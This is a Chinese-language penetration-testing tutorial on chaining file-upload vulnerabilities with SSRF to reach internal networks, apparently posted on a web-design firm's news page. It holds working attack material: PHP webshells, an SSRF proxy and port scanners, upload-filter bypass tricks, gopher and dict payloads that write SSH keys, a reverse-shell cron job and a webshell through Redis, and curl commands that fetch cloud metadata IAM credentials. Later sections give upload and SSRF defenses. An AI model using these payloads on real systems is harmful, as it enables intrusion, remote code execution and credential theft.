资讯动态

Web安全攻防:文件上传漏洞与SSRF内网渗透实战

发布时间:2026/10/31 5:47:20 来源:尧图企业网站定制
1. 漏洞链攻击路径解析这个典型的Web安全攻击链展示了从表面漏洞到内网渗透的完整路径。我们先从最基础的任意文件上传漏洞入手逐步分析如何通过层层绕过最终实现内网突破。任意文件上传漏洞通常出现在缺乏严格校验的文件上传接口中攻击者通过精心构造的文件名、文件头或文件内容绕过前端校验将恶意文件上传至服务器。而SSRF服务端请求伪造则允许攻击者通过服务器发起内部请求探测或攻击内网服务。1.1 文件上传Bypass技术详解现代Web应用通常会采用多种防御措施来防止任意文件上传以下是常见的绕过方式文件类型校验绕过修改Content-Type将application/php改为image/jpeg添加GIF文件头在PHP文件前添加GIF89a标记双扩展名攻击shell.php.jpg前端校验绕过!-- 修改前端JS校验逻辑 -- form onsubmitreturn true !-- 或直接使用Burp Suite拦截修改请求 --解析漏洞利用Apache解析漏洞shell.php.xxxIIS6.0分号漏洞shell.asp;.jpgNginx畸形路径/uploadfiles/shell.jpg/../shell.php实战经验遇到黑名单过滤时尝试使用冷门扩展名如.phtml、.phps、.inc等。我曾在一个项目中通过.php5扩展名成功绕过过滤。1.2 从文件上传到SSRF的跳板搭建获得文件上传权限后通常会部署以下类型的攻击载荷基础WebShell?php system($_GET[cmd]);?SSRF代理脚本?php $url $_GET[url]; echo file_get_contents($url); ?高级端口扫描器?php $ip $_GET[ip]; $ports explode(,, $_GET[ports]); foreach($ports as $port) { $fp fsockopen($ip, $port, $errno, $errstr, 0.5); if($fp) echo $port open\n; } ?在实际渗透测试中我通常会先上传一个简单的文件包含型WebShell再通过它上传更复杂的SSRF工具包。这种分阶段的方式可以避免一次性上传过大文件引起安全设备报警。2. SSRF内网渗透实战2.1 内网探测技术通过SSRF进行内网探测时需要关注以下几个关键点基础信息收集# 获取服务器基本信息 curl http://localhost/server-info # 读取环境变量 curl http://localhost/cgi-bin/env.cgi端口扫描策略先扫描常见服务端口80, 443, 22, 3306, 6379再扫描管理后台端口8080, 8443, 9000最后扫描内网特殊服务389, 445, 5985高效扫描技巧?php $ports [80,443,22,3306,6379]; $results []; foreach($ports as $port) { $start microtime(true); $fp fsockopen(127.0.0.1, $port, $errno, $errstr, 1); $latency round((microtime(true)-$start)*1000); if($fp) { fclose($fp); $results[$port] OPEN ($latency ms); } else { $results[$port] CLOSED; } } print_r($results); ?2.2 协议利用与绕过技巧不同协议在内网渗透中有不同用途协议用途示例Payloadhttp访问Web服务http://192.168.1.1/adminfile读取本地文件file:///etc/passwddict操作Redis等服务dict://127.0.0.1:6379/infogopher发送任意TCP数据包gopher://127.0.0.1:6379/_...ftp文件传输或爆破ftp://user:pass192.168.1.1IP绕过技巧十进制IPhttp://2130706433127.0.0.1八进制IPhttp://0177.0.0.1127.0.0.1域名指向http://localtest.me→127.0.0.1我曾在一个严格过滤IP的项目中通过http://0x7f000001这种十六进制表示法成功绕过限制访问到内网Redis服务。2.3 内网服务攻击案例发现内网Redis服务后的典型攻击流程信息收集curl dict://127.0.0.1:6379/info未授权访问利用# 写入SSH公钥 curl gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$... # 定时任务反弹Shell curl gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a...权限维持# 写入WebShell curl gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$31%0d%0a%3C?php%20eval($_GET[cmd])?%3E%0d%0a*1%0d%0a$4%0d%0asave%0d%0a重要提示在内网渗透测试中对Redis等服务的操作要格外小心flushall等命令可能导致业务数据丢失。建议先在测试环境验证payload。3. 防御与检测方案3.1 文件上传漏洞防护白名单校验$allowed [jpg, png, gif]; $ext strtolower(pathinfo($name, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) die(Invalid file type);内容检测使用getimagesize()验证图片真实性对上传文件进行病毒扫描重命名上传文件避免用户控制文件名存储安全上传目录设置为不可执行使用CDN分发静态文件定期审计上传目录3.2 SSRF防护策略输入验证$url $_GET[url]; $parsed parse_url($url); if(in_array($parsed[host], [localhost, 127.0.0.1])) { die(Internal service access denied); }网络层防护限制服务器出站连接仅允许访问必要的外部服务使用网络隔离将不同服务部署在不同VLAN禁用不必要的协议处理如gopher、dict应用层防护使用DNS缓存防止DNS重绑定实施请求目标白名单记录和监控异常请求模式在一次企业级渗透测试中我们发现即使应用层做了完善防护但服务器网络配置不当允许任意出站连接导致SSRF仍然可以攻击内网其他系统。这提醒我们防御需要多层次配合。4. 高级绕过与新型攻击手法4.1 DNS重绑定攻击DNS重绑定攻击流程攻击者控制一个域名如evil.com设置TTL为0第一次解析返回合法IP如1.1.1.1服务器校验通过后立即修改DNS记录指向内网IP如192.168.1.1服务器实际请求时访问到内网资源防御方案// 使用DNS缓存 $ip gethostbyname(parse_url($url, PHP_URL_HOST)); $_SESSION[dns_cache][$host] $ip;4.2 云环境元数据服务攻击在AWS、阿里云等环境中通过访问元数据API可能获取敏感信息# AWS元数据 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 阿里云元数据 curl http://100.100.100.200/latest/meta-data/ram/security-credentials/防护建议禁用实例元数据服务使用最新版云代理配置严格的网络策略4.3 新型协议利用HTTP/2走私利用协议解析差异绕过防护QUIC协议基于UDP的HTTP/3可能绕过传统防护WebSocket通过升级协议建立持久连接在一次红队演练中我们通过WebSocket协议成功绕过了传统的WAF防护建立了到内网的持久化通道。这提醒我们安全防护需要跟上协议发展。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑